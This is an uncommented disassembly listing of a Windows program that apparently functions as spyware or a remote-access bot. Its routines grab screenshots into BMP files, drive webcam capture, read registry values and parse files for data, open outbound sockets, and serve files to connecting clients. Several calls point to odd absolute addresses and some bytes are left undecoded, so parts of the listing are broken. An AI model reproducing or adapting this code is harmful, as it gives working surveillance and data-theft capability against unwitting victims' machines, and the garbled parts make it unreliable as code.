var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF60
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAF7C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAF7C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAF7C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAF7C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------


loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx


loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFC0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFB8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE44
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFBC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAE98
		mov	ebx, eax


loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 26E08D2h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 26D0000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26D0000h
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26D0000h


loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 26D0000h
		nop
		push	[ebp+arg_0]
		call	near ptr 2640871h
		nop
		push	1
		pop	esi


loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAED0
		push	[ebp+var_4]
		call	dword_4CAE30
		mov	edi, [ebp+var_20]


loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE30
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------


loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE30
		push	[ebp+var_4]
		call	dword_4CAE30


loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax


loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------


loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_415654
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax


loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F


loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0


loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------


loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx


loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h


loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h


loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB024
		mov	eax, ebx


loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------


loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_41584D
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax


loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858


loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0


loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx


loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CAFD0


loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h


loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax


loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0


loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CAFD0


loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CAFD0


loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CAFD0


loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CAFD0


loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0


loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CAFD0


loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB024
		mov	eax, ebx


loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4361F4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4361F4
		mov	esi, offset dword_436200
		mov	edi, offset dword_4373F8


loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CAFE4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAE74
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax


loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_4373F4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_4373F4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]


loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h


loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------


loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF50
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi


loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB00C


loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi


loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h
		dd 90022AA3h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022AA2h, 0E6E89064h, 330224A7h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h,	85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 0A78FE864h, 6A900224h, 5580E80Ah, 0C085FFFFh, 8DA37559h
		dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 2AA1E7E8h
		db 2, 90h
; ---------------------------------------------------------------------------


loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_437574
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAF74
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFA0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437550
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF18
		push	dword ptr [ebp-2Eh]
		call	dword_4CAEA4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al


loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAF9C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_437474
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 26E08D2h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437530
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 2710AF1h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		push	eax
		call	dword_4CAF70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437518
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF5C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437500
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------


loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_4374DC


loc_416021:				; CODE XREF: ___:00415E63j
